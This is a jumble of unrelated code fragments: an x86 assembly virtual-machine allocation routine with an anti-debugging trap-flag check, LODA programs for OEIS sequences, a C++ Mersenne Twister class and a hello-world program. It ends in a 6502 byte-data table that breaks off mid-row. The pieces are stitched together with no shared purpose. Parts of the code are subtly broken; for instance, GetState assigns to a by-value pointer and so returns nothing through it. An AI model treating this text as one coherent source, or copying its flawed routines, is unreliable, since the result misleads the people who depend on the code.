header_VmAlloca vm_alloca PROC push ebp mov ebp, esp check_debugger_via_trap_flag ; pop the value to alloca push [ebp+arg0] call_vm_stack_pop_enc push eax ; verify if not already allocated mov eax, [ebp+arg0] mov eax, [eax+vm_sp] cmp dword ptr [eax+vm_local_vars], 0h pop eax jnz finish ; allocate the new memory lea eax, [eax*TYPE DWORD] push eax call_heap_alloc ; set the new memory in the header mov ebx, [ebp+arg0] mov ebx, [ebx+vm_sp] mov [ebx+vm_local_vars], eax finish: mov esp, ebp pop ebp ret vm_alloca ENDP header_marker
; A282413: Decimal representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 467", based on the 5-celled von Neumann neighborhood. ; 1,1,7,0,31,0,127,0,511,0,2047,0,8191,0,32767,0,131071,0,524287,0,2097151,0,8388607,0,33554431,0,134217727,0,536870911,0,2147483647,0,8589934591,0,34359738367,0,137438953471,0,549755813887,0,2199023255551,0,8796093022207,0,35184372088831,0,140737488355327,0,562949953421311,0,2251799813685247,0,9007199254740991,0,36028797018963967,0,144115188075855871,0,576460752303423487,0,2305843009213693951,0,9223372036854775807,0,36893488147419103231,0,147573952589676412927,0,590295810358705651711,0,2361183241434822606847,0,9444732965739290427391,0,37778931862957161709567,0,151115727451828646838271,0,604462909807314587353087,0,2417851639229258349412351,0,9671406556917033397649407,0,38685626227668133590597631,0,154742504910672534362390527,0,618970019642690137449562111,0,2475880078570760549798248447,0,9903520314283042199192993791,0,39614081257132168796771975167,0,158456325028528675187087900671,0,633825300114114700748351602687,0 mov $1,2 lpb $0 gcd $1,$0 add $0,1 pow $1,$0 gcd $0,2 lpe sub $1,1 mov $0,$1
; A253433: Number of (n+1) X (6+1) 0..1 arrays with every 2 X 2 subblock diagonal minus antidiagonal sum nondecreasing horizontally, vertically and ne-to-sw antidiagonally. ; 325,318,336,372,444,588,876,1452,2604,4908,9516,18732,37164,74028,147756,295212,590124,1179948,2359596,4718892,9437484,18874668,37749036,75497772,150995244,301990188,603980076,1207959852,2415919404,4831838508,9663676716,19327353132,38654705964,77309411628,154618822956,309237645612,618475290924,1236950581548,2473901162796,4947802325292,9895604650284,19791209300268,39582418600236,79164837200172,158329674400044,316659348799788,633318697599276,1266637395198252,2533274790396204,5066549580792108 mul $0,2 mov $4,5 lpb $0,1 add $0,1 add $1,4 mul $1,2 mov $2,$0 mov $0,$3 add $1,1 sub $2,3 add $0,$2 mov $4,$2 lpe mov $0,2 trn $1,6 mul $4,2 add $0,$4 add $1,$0 add $1,313
; A002108: 4th powers written backwards. ; Submitted by Jamie Morken(s1.) ; 1,61,18,652,526,6921,1042,6904,1656,1,14641,63702,16582,61483,52605,63556,12538,679401,123031,61,184491,652432,148972,677133,526093,679654,144135,656416,182707,18,125329,6758401,1295811,6336331,5260051,6169761,1614781,6315802,1443132,652,1675282,6961113,1088143,6908473,5260014,6547744,1869784,6148035,1084675,526,1025676,6161137,1840987,6503058,5260519,6944389,10065501,69461311,16371121,6921,14854831,63367741,16925751,61277761,52605871,63747981,12115102,67318312,12176622,1042,18611452,65837862 add $0,1 pow $0,4 lpb $0 mov $2,$0 div $0,10 mul $1,10 mod $2,10 add $1,$2 lpe mov $0,$1
/* A C-program for MT19937, with initialization improved 2002/2/10. Coded by Takuji Nishimura and Makoto Matsumoto. This is a faster version by taking Shawn Cokus's optimization, Matthe Bellew's simplification, Isaku Wada's real version. Before using, initialize the state by using init_genrand(seed) or init_by_array(init_key, key_length). Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura, All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Any feedback is very welcome. http://www.math.sci.hiroshima-u.ac.jp/~m-mat/MT/emt.html email: m-mat @ math.sci.hiroshima-u.ac.jp (remove space) */ /* Period parameters */ #define N 624 #define M 397 #define MATRIX_A 0x9908b0dfUL /* constant vector a */ #define UMASK 0x80000000UL /* most significant w-r bits */ #define LMASK 0x7fffffffUL /* least significant r bits */ #define MIXBITS(u,v) ( ((u) & UMASK) | ((v) & LMASK) ) #define TWIST(u,v) ((MIXBITS(u,v) >> 1) ^ ((v)&1UL ? MATRIX_A : 0UL)) #include "mtrandom.h" #include <time.h> MTrandoms::MTrandoms () { left = 1; seedMT((unsigned long)(time(0))); } MTrandoms& MTrandoms::operator = (const MTrandoms& b) { if (this==&b) return *this; for (int j=0; j<N; j++) state[j] = b.state[j]; next = state + (b.next - b.state); left = b.left; return *this; } void MTrandoms::GetState(unsigned int* lstate, int& lleft, unsigned int* lnext) { for(int j = 0; j < N; j++) lstate[j] = state[j]; lleft = left; lnext = next; } void MTrandoms::SetState(unsigned int* lstate, int lleft, unsigned int* lnext) { for(int j = 0; j < N; j++) state[j] = lstate[j]; left = lleft; next = lnext; } void MTrandoms::seedMT () { seedMT((unsigned int)(time(0))); } /* initializes state[N] with a seed */ void MTrandoms::seedMT(unsigned int s) { int j; state[0]= s & 0xffffffffUL; for (j=1; j<N; j++) { state[j] = (1812433253UL * (state[j-1] ^ (state[j-1] >> 30)) + j); /* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */ /* In the previous versions, MSBs of the seed affect */ /* only MSBs of the array state[]. */ /* 2002/01/09 modified by Makoto Matsumoto */ state[j] &= 0xffffffffUL; /* for >32 bit machines */ } left = 1; } /* initialize by an array with array-length */ /* init_key is the array for initializing keys */ /* key_length is its length */ /* slight change for C++, 2004/2/26 */ void MTrandoms::init_by_array(unsigned int init_key[], int key_length) { int i, j, k; MTrandoms::seedMT(19650218UL); i=1; j=0; k = (N>key_length ? N : key_length); for (; k; k--) { state[i] = (MTrandoms::state[i] ^ ((state[i-1] ^ (state[i-1] >> 30)) * 1664525UL)) + init_key[j] + j; /* non linear */ state[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */ i++; j++; if (i>=N) { state[0] = state[N-1]; i=1; } if (j>=key_length) j=0; } for (k=N-1; k; k--) { state[i] = (state[i] ^ ((state[i-1] ^ (state[i-1] >> 30)) * 1566083941UL)) - i; /* non linear */ state[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */ i++; if (i>=N) { state[0] = state[N-1]; i=1; } } state[0] = 0x80000000UL; /* MSB is 1; assuring non-zero initial array */ left = 1; } void MTrandoms::next_state(void) { unsigned int *p=state; int j; left = N; next = state; for (j=N-M+1; --j; p++) *p = p[M] ^ TWIST(p[0], p[1]); for (j=M; --j; p++) *p = p[M-N] ^ TWIST(p[0], p[1]); *p = p[M-N] ^ TWIST(p[0], state[0]); } /* generates a random number on [0,1) with 53-bit resolution*/ double MTrandoms::random_res53(void) { unsigned int a=MTrandoms::randomUInt()>>5, b=MTrandoms::randomUInt()>>6; return(a*67108864.0+b)*(1.0/9007199254740992.0); } /* These real versions are due to Isaku Wada, 2002/01/09 added */ double MTrandoms::randomNorm() { double u, v, q, x1, x2; const double ei = 0.27597, eo = 0.27846; const double sqrt2e = 1.71552776992141, a = 0.449871, b = 0.386595; for(;;) { // Generate P = (u,v) uniform in rectangle enclosing // acceptance region: // 0 < u < 1 // - sqrt(2/e) < v < sqrt(2/e) // The constant below is 2*sqrt(2/e). u = random0i1e(); //v = sqrt2e * (random0i1e() - 0.5); v = random4nrm(); // Evaluate the quadratic form x1 = u - a; x2 = fabs(v) + b; q = x1*x1 + (0.19600*x2 - 0.25472*x1)*x2; // Accept P if inside inner ellipse if (q < ei) break; // Reject P if outside outer ellipse if (q > eo) continue; // Between ellipses: perform exact test if (v*v <= -4.0 * log(u)*u*u) break; } return v/u; }
#include <iostream> using namespace std; void darFormato(){ cout << "********* //// **********" << endl; cout << "********* ++++ *********" << endl; } int devolverMayor(int nro1, int nro2){ if (nro1 > nro2){ return nro1; } return nro2; } int main() { darFormato(); cout << "Hello, World!" << endl; darFormato(); int valor = devolverMayor(56,87); cout << valor << endl; return 0; }
; A349781: a(n) = n! * (hypergeom([1 - n], [2], -1]) - 1) for n >= 1 and a(0) = 0. ; Submitted by Jamie Morken(s4) ; 0,0,1,7,49,381,3331,32593,354033,4233673,55312291,784156341,11991160633,196749380413,3447839233203,64266128818921,1269511428781921,26490929023150353,582231094609675843,13442728593179726173,325265025877909014441,8230062097594150286341 mov $2,1 mov $3,$0 mov $4,1 lpb $3 add $1,$2 mul $2,$3 div $2,$4 sub $3,1 max $3,1 mul $2,$3 add $4,1 lpe mov $0,$1
; A054878: Number of closed walks of length n along the edges of a tetrahedron based at a vertex. ; 1,0,3,6,21,60,183,546,1641,4920,14763,44286,132861,398580,1195743,3587226,10761681,32285040,96855123,290565366,871696101,2615088300,7845264903,23535794706,70607384121,211822152360,635466457083,1906399371246,5719198113741,17157594341220,51472783023663,154418349070986,463255047212961,1389765141638880,4169295424916643,12507886274749926,37523658824249781,112570976472749340,337712929418248023,1013138788254744066,3039416364764232201,9118249094292696600,27354747282878089803,82064241848634269406,246192725545902808221,738578176637708424660,2215734529913125273983,6647203589739375821946,19941610769218127465841,59824832307654382397520,179474496922963147192563,538423490768889441577686,1615270472306668324733061,4845811416920004974199180,14537434250760014922597543,43612302752280044767792626,130836908256840134303377881,392510724770520402910133640,1177532174311561208730400923,3532596522934683626191202766,10597789568804050878573608301,31793368706412152635720824900,95380106119236457907162474703,286140318357709373721487424106,858420955073128121164462272321,2575262865219384363493386816960,7725788595658153090480160450883,23177365786974459271440481352646,69532097360923377814321444057941,208596292082770133442964332173820,625788876248310400328892996521463,1877366628744931200986678989564386,5632099886234793602960036968693161,16896299658704380808880110906079480,50688898976113142426640332718238443,152066696928339427279920998154715326,456200090785018281839762994464145981 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 trn $0,1 seq $0,6342 ; Coloring a circuit with 4 colors. mov $2,$3 mul $2,$0 add $1,$2 mov $4,$0 lpe min $5,1 mul $5,$4 sub $1,$5 mov $0,$1
; A131474: a(n) = ceiling(n/2)*ceiling(n^2/2). ; 0,1,2,10,16,39,54,100,128,205,250,366,432,595,686,904,1024,1305,1458,1810,2000,2431,2662,3180,3456,4069,4394,5110,5488,6315,6750,7696,8192,9265,9826,11034,11664,13015,13718,15220,16000,17661,18522,20350,21296,23299,24334,26520,27648,30025,31250,33826,35152,37935,39366,42364,43904,47125,48778,52230,54000,57691,59582,63520,65536,69729,71874,76330,78608,83335,85750,90756,93312,98605,101306,106894,109744,115635,118638,124840,128000,134521,137842,144690,148176,155359,159014,166540,170368,178245,182250,190486,194672,203275,207646,216624,221184,230545,235298,245050,250000,260151,265302,275860,281216,292189,297754,309150,314928,326755,332750,345016,351232,363945,370386,383554,390224,403855,410758,424860,432000,446581,453962,469030,476656,492219,500094,516160,524288,540865,549250,566346,574992,592615,601526,619684,628864,647565,657018,676270,686000,705811,715822,736200,746496,767449,778034,799570,810448,832575,843750,866476,877952,901285,913066,937014,949104,973675,986078,1011280,1024000,1049841,1062882,1089370,1102736,1129879,1143574,1171380,1185408,1213885,1228250,1257406,1272112,1301955,1317006,1347544,1362944,1394185,1409938,1441890,1458000,1490671,1507142,1540540,1557376,1591509,1608714,1643590,1661168,1696795,1714750,1751136,1769472,1806625,1825346,1863274,1882384,1921095,1940598,1980100,2000000,2040301,2060602,2101710,2122416,2164339,2185454,2228200,2249728,2293305,2315250,2359666,2382032,2427295,2450086,2496204,2519424,2566405,2590058,2637910,2662000,2710731,2735262,2784880,2809856,2860369,2885794,2937210,2963088,3015415,3041750,3094996,3121792,3175965,3203226,3258334,3286064,3342115,3370318,3427320,3456000,3513961,3543122,3602050,3631696,3691599,3721734,3782620,3813248,3875125 mov $2,$0 lpb $0 lpb $0 add $3,$0 add $4,$0 sub $0,1 lpe lpb $2 sub $3,$2 trn $2,2 add $5,$4 lpe sub $5,$3 add $1,$5 lpe
; row 1 .byte $1, $6a .byte $12, $e3, $d, $1c, $9, $fa, $8, $b, $6, $ba, $5, $c7, $5, $11, $4, $82, $4, $10, $3, $b1, $3, $63, $3, $21, $2, $e7, $2, $b6, $2, $8b .byte $2, $64, $2, $43, $2, $24, $2, $9, $1, $ef, $1, $d9, $1, $c4, $1, $b2, $1, $a0, $1, $90, $1, $82, $1, $74, $1, $67, $1, $5b, $1, $50, $1, $46 .byte $1, $3c, $1, $32, $1, $2a, $1, $22, $1, $1a, $1, $12, $1, $b, $1, $5, $0, $fd, $0, $f7, $0, $f2, $0, $ec, $0, $e7, $0, $e2, $0, $dd, $0, $d8 .byte $0, $d4, $0, $d0, $0, $cc, $0, $c8, $0, $c4, $0, $c0, $0, $bd, $0, $ba, $0, $b6, $0, $b3, $0, $b0, $0, $ad, $0, $aa, $0, $a8, $0, $a5, $0, $a2 ; row 2 .byte $2, $3c, $2, $d3 .byte $17, $f4, $12, $e3, $f, $80, $d, $1c, $b, $56, $9, $fa, $8, $e8, $8, $b, $7, $54, $6, $ba, $6, $38, $5, $c7, $5, $66, $5, $11 .byte $4, $c5, $4, $82, $4, $46, $4, $10, $3, $de, $3, $b1, $3, $88, $3, $63, $3, $40, $3, $21, $3, $3, $2, $e7, $2, $cd, $2, $b6, $2, $9f, $2, $8b .byte $2, $77, $2, $64, $2, $53, $2, $43, $2, $33, $2, $24, $2, $16, $2, $9, $1, $fb, $1, $ef, $1, $e4, $1, $d9, $1, $ce, $1, $c4, $1, $bb, $1, $b2 .byte $1, $a9, $1, $a0, $1, $98, $1, $90, $1, $89, $1, $82, $1, $7b, $1, $74, $1, $6d, $1, $67, $1, $61, $1, $5b, $1, $56, $1, $50, $1, $4b, $1, $46 ; row 3 .byte $3, $29, $3, $9a, $4, $3e .byte $1a, $38, $16, $5, $12, $e3, $10, $7f, $e, $9d, $d, $1c, $b, $df, $a, $d8, $9, $fa, $9, $3d, $8, $99, $8, $b, $7, $8d .byte $7, $1e, $6, $ba, $6, $61, $6, $11, $5, $c7, $5, $85, $5, $49, $5, $11, $4, $dd, $4, $ae, $4, $82, $4, $59, $4, $33, $4, $10, $3, $ed, $3, $ce .byte $3, $b1, $3, $95, $3, $7b, $3, $63, $3, $4c, $3, $36, $3, $21, $3, $d, $2, $f9, $2, $e7, $2, $d6, $2, $c5, $2, $b6, $2, $a7, $2, $98, $2, $8b .byte $2, $7d, $2, $71, $2, $64, $2, $59, $2, $4d, $2, $43, $2, $38, $2, $2e, $2, $24, $2, $1b, $2, $12, $2, $9, $2, $1, $1, $f7, $1, $ef, $1, $e8 ; row 4 .byte $4, $1f, $4, $78, $5, $0, $5, $a7 .byte $1b, $7d, $17, $f4, $15, $27, $12, $e3, $11, $a, $f, $80, $e, $36, $d, $1c, $c, $29, $b, $56, $a, $9e, $9, $fa .byte $9, $6a, $8, $e8, $8, $74, $8, $b, $7, $ab, $7, $54, $7, $4, $6, $ba, $6, $76, $6, $38, $5, $fd, $5, $c7, $5, $95, $5, $66, $5, $3a, $5, $11 .byte $4, $e9, $4, $c5, $4, $a2, $4, $82, $4, $63, $4, $46, $4, $2a, $4, $10, $3, $f5, $3, $de, $3, $c7, $3, $b1, $3, $9c, $3, $88, $3, $75, $3, $63 .byte $3, $51, $3, $40, $3, $30, $3, $21, $3, $12, $3, $3, $2, $f4, $2, $e7, $2, $da, $2, $cd, $2, $c1, $2, $b6, $2, $aa, $2, $9f, $2, $95, $2, $8b ; row 5 .byte $5, $19, $5, $62, $5, $d4, $6, $67, $7, $12 .byte $1c, $4e, $19, $45, $16, $c2, $14, $a9, $12, $e3, $11, $62, $10, $16, $e, $f5, $d, $f9, $d, $1c, $c, $57 .byte $b, $a7, $b, $a, $a, $7b, $9, $fa, $9, $86, $9, $1b, $8, $b8, $8, $5e, $8, $b, $7, $bd, $7, $75, $7, $33, $6, $f4, $6, $ba, $6, $83, $6, $50 .byte $6, $20, $5, $f2, $5, $c7, $5, $9f, $5, $79, $5, $54, $5, $32, $5, $11, $4, $f1, $4, $d3, $4, $b7, $4, $9c, $4, $82, $4, $69, $4, $51, $4, $3a .byte $4, $25, $4, $10, $3, $fa, $3, $e7, $3, $d4, $3, $c2, $3, $b1, $3, $a0, $3, $90, $3, $80, $3, $71, $3, $63, $3, $55, $3, $47, $3, $3a, $3, $2d ; row 6 .byte $6, $15, $6, $53, $6, $b5, $7, $36, $7, $cf, $8, $7c .byte $1c, $de, $1a, $38, $17, $f4, $16, $5, $14, $58, $12, $e3, $11, $9e, $10, $7f, $f, $80, $e, $9d .byte $d, $d2, $d, $1c, $c, $76, $b, $df, $b, $56, $a, $d8, $a, $65, $9, $fa, $9, $98, $9, $3d, $8, $e8, $8, $99, $8, $50, $8, $b, $7, $c9, $7, $8d .byte $7, $54, $7, $1e, $6, $ea, $6, $ba, $6, $8c, $6, $61, $6, $38, $6, $11, $5, $eb, $5, $c7, $5, $a5, $5, $85, $5, $66, $5, $49, $5, $2c, $5, $11 .byte $4, $f6, $4, $dd, $4, $c5, $4, $ae, $4, $97, $4, $82, $4, $6d, $4, $59, $4, $46, $4, $33, $4, $21, $4, $10, $3, $fe, $3, $ed, $3, $de, $3, $ce ; row 7 .byte $7, $12, $7, $47, $7, $9d, $8, $10, $8, $9a, $9, $38, $9, $e5 .byte $1d, $49, $1a, $ee, $18, $e1, $17, $17, $15, $84, $14, $20, $12, $e3, $11, $c9, $10, $cd .byte $f, $e9, $f, $1c, $e, $61, $d, $b7, $d, $1c, $c, $8d, $c, $a, $b, $90, $b, $1f, $a, $b6, $a, $56, $9, $fa, $9, $a6, $9, $57, $9, $c, $8, $c5 .byte $8, $84, $8, $46, $8, $b, $7, $d2, $7, $9e, $7, $6c, $7, $3c, $7, $f, $6, $e3, $6, $ba, $6, $93, $6, $6d, $6, $49, $6, $27, $6, $6, $5, $e6 .byte $5, $c7, $5, $aa, $5, $8e, $5, $73, $5, $59, $5, $40, $5, $28, $5, $11, $4, $fa, $4, $e4, $4, $cf, $4, $bb, $4, $a7, $4, $94, $4, $82, $4, $70 ; row 8 .byte $8, $10, $8, $3f, $8, $8b, $8, $f1, $9, $6f, $a, $0, $a, $a1, $b, $50 .byte $1d, $9b, $1b, $7d, $19, $9e, $17, $f4, $16, $79, $15, $27, $13, $f5, $12, $e3 .byte $11, $eb, $11, $a, $10, $3d, $f, $80, $e, $d4, $e, $36, $d, $a3, $d, $1c, $c, $9e, $c, $29, $b, $bc, $b, $56, $a, $f7, $a, $9e, $a, $4a, $9, $fa .byte $9, $b0, $9, $6a, $9, $28, $8, $e8, $8, $ac, $8, $74, $8, $3e, $8, $b, $7, $d9, $7, $ab, $7, $7e, $7, $54, $7, $2b, $7, $4, $6, $de, $6, $ba .byte $6, $97, $6, $76, $6, $57, $6, $38, $6, $1a, $5, $fd, $5, $e2, $5, $c7, $5, $ae, $5, $95, $5, $7d, $5, $66, $5, $50, $5, $3a, $5, $25, $5, $11 ; row 9 .byte $9, $e, $9, $38, $9, $7c, $9, $d8, $a, $4b, $a, $d0, $b, $66, $c, $b, $c, $ba .byte $1d, $db, $1b, $ef, $1a, $38, $18, $ab, $17, $47, $16, $5, $14, $e0 .byte $13, $d6, $12, $e3, $12, $6, $11, $3a, $10, $7f, $f, $d1, $f, $32, $e, $9d, $e, $14, $d, $93, $d, $1c, $c, $ab, $c, $42, $b, $df, $b, $83, $b, $2b .byte $a, $d8, $a, $8b, $a, $41, $9, $fa, $9, $b8, $9, $79, $9, $3d, $9, $4, $8, $cd, $8, $99, $8, $68, $8, $38, $8, $b, $7, $de, $7, $b5, $7, $8d .byte $7, $66, $7, $41, $7, $1e, $6, $fb, $6, $da, $6, $ba, $6, $9b, $6, $7e, $6, $61, $6, $45, $6, $2b, $6, $11, $5, $f7, $5, $df, $5, $c7, $5, $b1 ; row 10 .byte $a, $d, $a, $32, $a, $70, $a, $c4, $b, $2e, $b, $a9, $c, $35, $c, $ce, $d, $74, $e, $24 .byte $1e, $10, $1c, $4e, $1a, $b6, $19, $45, $17, $f4, $16, $c2 .byte $15, $a9, $14, $a9, $13, $bd, $12, $e3, $12, $1b, $11, $62, $10, $b5, $10, $16, $f, $80, $e, $f5, $e, $73, $d, $f9, $d, $87, $d, $1c, $c, $b6, $c, $57 .byte $b, $fc, $b, $a7, $b, $56, $b, $a, $a, $c0, $a, $7b, $a, $3a, $9, $fa, $9, $bf, $9, $86, $9, $4f, $9, $1b, $8, $e8, $8, $b8, $8, $8a, $8, $5e .byte $8, $34, $8, $b, $7, $e3, $7, $bd, $7, $99, $7, $75, $7, $54, $7, $33, $7, $13, $6, $f4, $6, $d6, $6, $ba, $6, $9e, $6, $83, $6, $6a, $6, $50 ; row 11 .byte $b, $c, $b, $2e, $b, $66, $b, $b4, $c, $15, $c, $87, $d, $a, $d, $99, $e, $36, $e, $dd, $f, $8e .byte $1e, $3b, $1c, $9c, $1b, $22, $19, $c7, $18, $8a .byte $17, $66, $16, $59, $15, $61, $14, $7c, $13, $a8, $12, $e3, $12, $2d, $11, $82, $10, $e3, $10, $4e, $f, $c2, $f, $40, $e, $c5, $e, $51, $d, $e4, $d, $7d .byte $d, $1c, $c, $bf, $c, $68, $c, $15, $b, $c5, $b, $7b, $b, $33, $a, $ee, $a, $ad, $a, $6f, $a, $34, $9, $fa, $9, $c4, $9, $90, $9, $5e, $9, $2e .byte $8, $fe, $8, $d2, $8, $a7, $8, $7e, $8, $56, $8, $30, $8, $b, $7, $e6, $7, $c4, $7, $a2, $7, $82, $7, $63, $7, $45, $7, $27, $7, $b, $6, $ee ; row 12 .byte $c, $b, $c, $2a, $c, $5e, $c, $a6, $d, $0, $d, $6a, $d, $e4, $e, $6c, $f, $0, $f, $9e, $10, $47, $10, $f7 .byte $1e, $5f, $1c, $de, $1b, $7d, $1a, $38 .byte $19, $b, $17, $f4, $16, $f3, $16, $5, $15, $27, $14, $58, $13, $97, $12, $e3, $12, $3c, $11, $9e, $11, $a, $10, $7f, $f, $fb, $f, $80, $f, $c, $e, $9d .byte $e, $36, $d, $d2, $d, $75, $d, $1c, $c, $c6, $c, $76, $c, $29, $b, $df, $b, $99, $b, $56, $b, $16, $a, $d8, $a, $9e, $a, $65, $a, $2f, $9, $fa .byte $9, $c8, $9, $98, $9, $6a, $9, $3d, $9, $12, $8, $e8, $8, $c0, $8, $99, $8, $74, $8, $50, $8, $2d, $8, $b, $7, $e9, $7, $c9, $7, $ab, $7, $8d ; row 13 .byte $d, $a, $d, $27, $d, $57, $d, $99, $d, $ed, $e, $51, $e, $c3, $f, $43, $f, $cf, $10, $66, $11, $7, $11, $b0, $12, $62 .byte $1e, $7d, $1d, $18, $1b, $cc .byte $1a, $99, $19, $7c, $18, $72, $17, $7b, $16, $95, $15, $be, $14, $f5, $14, $3a, $13, $89, $12, $e3, $12, $48, $11, $b5, $11, $2b, $10, $a8, $10, $2e, $f, $b8 .byte $f, $4a, $e, $e0, $e, $7d, $e, $1e, $d, $c3, $d, $6e, $d, $1c, $c, $cd, $c, $82, $c, $3b, $b, $f5, $b, $b4, $b, $75, $b, $39, $a, $fe, $a, $c6 .byte $a, $90, $a, $5d, $a, $2b, $9, $fa, $9, $cc, $9, $a0, $9, $74, $9, $4b, $9, $23, $8, $fb, $8, $d5, $8, $b1, $8, $8e, $8, $6b, $8, $4a, $8, $2a ; row 14 .byte $e, $9, $e, $24, $e, $51, $e, $8f, $e, $dd, $f, $3b, $f, $a6, $10, $20, $10, $a4, $11, $34, $11, $cd, $12, $70, $13, $1b, $13, $cc .byte $1e, $98, $1d, $49 .byte $1c, $12, $1a, $ee, $19, $df, $18, $e1, $17, $f4, $17, $17, $16, $47, $15, $84, $14, $cc, $14, $20, $13, $7d, $12, $e3, $12, $53, $11, $c9, $11, $48, $10, $cd .byte $10, $59, $f, $e9, $f, $80, $f, $1c, $e, $bc, $e, $61, $e, $b, $d, $b7, $d, $68, $d, $1c, $c, $d2, $c, $8d, $c, $4a, $c, $a, $b, $cb, $b, $90 .byte $b, $56, $b, $1f, $a, $e9, $a, $b6, $a, $85, $a, $56, $a, $28, $9, $fa, $9, $cf, $9, $a6, $9, $7e, $9, $57, $9, $31, $9, $c, $8, $e8, $8, $c5 ; row 15 .byte $f, $8, $f, $22, $f, $4c, $f, $86, $f, $cf, $10, $28, $10, $8d, $11, $0, $11, $7e, $12, $7, $12, $99, $13, $35, $13, $d9, $14, $84, $15, $36 .byte $1e, $af .byte $1d, $74, $1c, $4e, $1b, $3a, $1a, $38, $19, $45, $18, $61, $17, $8b, $16, $c2, $16, $5, $15, $52, $14, $a9, $14, $a, $13, $72, $12, $e3, $12, $5c, $11, $db .byte $11, $62, $10, $ed, $10, $7f, $10, $16, $f, $b1, $f, $51, $e, $f5, $e, $9d, $e, $4a, $d, $f9, $d, $ac, $d, $63, $d, $1c, $c, $d7, $c, $96, $c, $57 .byte $c, $1a, $b, $df, $b, $a7, $b, $71, $b, $3d, $b, $a, $a, $d8, $a, $a9, $a, $7b, $a, $4f, $a, $25, $9, $fa, $9, $d2, $9, $ab, $9, $86, $9, $61 ; row 16 .byte $10, $8, $10, $20, $10, $47, $10, $7e, $10, $c3, $11, $16, $11, $76, $11, $e3, $12, $5b, $12, $dd, $13, $6a, $14, $0, $14, $9d, $15, $42, $15, $ee, $16, $a0 .byte $1e, $c3, $1d, $9b, $1c, $84, $1b, $7d, $1a, $86, $19, $9e, $18, $c3, $17, $f4, $17, $32, $16, $79, $15, $cb, $15, $27, $14, $8a, $13, $f5, $13, $69, $12, $e3 .byte $12, $64, $11, $eb, $11, $78, $11, $a, $10, $a1, $10, $3d, $f, $dc, $f, $80, $f, $29, $e, $d4, $e, $83, $e, $36, $d, $ea, $d, $a3, $d, $5e, $d, $1c .byte $c, $db, $c, $9e, $c, $62, $c, $29, $b, $f1, $b, $bc, $b, $88, $b, $56, $b, $26, $a, $f7, $a, $c9, $a, $9e, $a, $73, $a, $4a, $a, $22, $9, $fa ; row 17 .byte $11, $7, $11, $1e, $11, $43, $11, $76, $11, $b8, $12, $7, $12, $62, $12, $c9, $13, $3c, $13, $b8, $14, $3f, $14, $ce, $15, $66, $16, $6, $16, $ab, $17, $58 .byte $18, $b .byte $1e, $d5, $1d, $bc, $1c, $b3, $1b, $b9, $1a, $cd, $19, $ee, $19, $1c, $18, $54, $17, $97, $16, $e4, $16, $3b, $15, $9a, $15, $1, $14, $6f, $13, $e5 .byte $13, $61, $12, $e3, $12, $6c, $11, $f9, $11, $8c, $11, $24, $10, $bf, $10, $5f, $10, $4, $f, $ab, $f, $57, $f, $6, $e, $b7, $e, $6c, $e, $24, $d, $dd .byte $d, $9b, $d, $5a, $d, $1c, $c, $df, $c, $a5, $c, $6d, $c, $37, $c, $2, $b, $ce, $b, $9d, $b, $6e, $b, $40, $b, $13, $a, $e6, $a, $bc, $a, $93 ; row 18 .byte $12, $7, $12, $1c, $12, $3f, $12, $70, $12, $ae, $12, $f8, $13, $50, $13, $b2, $14, $20, $14, $97, $15, $18, $15, $a1, $16, $34, $16, $cd, $17, $6e, $18, $15 .byte $18, $c2, $19, $74 .byte $1e, $e5, $1d, $db, $1c, $de, $1b, $ef, $1b, $e, $1a, $38, $19, $6c, $18, $ab, $17, $f4, $17, $47, $16, $a1, $16, $5, $15, $6f, $14, $e0 .byte $14, $58, $13, $d6, $13, $5a, $12, $e3, $12, $72, $12, $6, $11, $9e, $11, $3a, $10, $da, $10, $7f, $10, $27, $f, $d1, $f, $80, $f, $32, $e, $e6, $e, $9d .byte $e, $58, $e, $14, $d, $d2, $d, $93, $d, $57, $d, $1c, $c, $e2, $c, $ab, $c, $76, $c, $42, $c, $11, $b, $df, $b, $b0, $b, $83, $b, $56, $b, $2b ; row 19 .byte $13, $7, $13, $1b, $13, $3c, $13, $6a, $13, $a5, $13, $ec, $14, $3f, $14, $9d, $15, $6, $15, $78, $15, $f3, $16, $78, $17, $6, $17, $99, $18, $35, $18, $d6 .byte $19, $7e, $1a, $2c, $1a, $de .byte $1e, $f4, $1d, $f6, $1d, $6, $1c, $21, $1b, $48, $1a, $7a, $19, $b6, $18, $fb, $18, $4a, $17, $a1, $17, $1, $16, $67, $15, $d4 .byte $15, $49, $14, $c2, $14, $43, $13, $c8, $13, $54, $12, $e3, $12, $78, $12, $11, $11, $ae, $11, $4f, $10, $f3, $10, $9b, $10, $47, $f, $f5, $f, $a6, $f, $5b .byte $f, $12, $e, $cb, $e, $87, $e, $46, $e, $6, $d, $c8, $d, $8d, $d, $53, $d, $1c, $c, $e5, $c, $b1, $c, $7e, $c, $4d, $c, $1e, $b, $ee, $b, $c1 ; row 20 .byte $14, $6, $14, $19, $14, $39, $14, $65, $14, $9d, 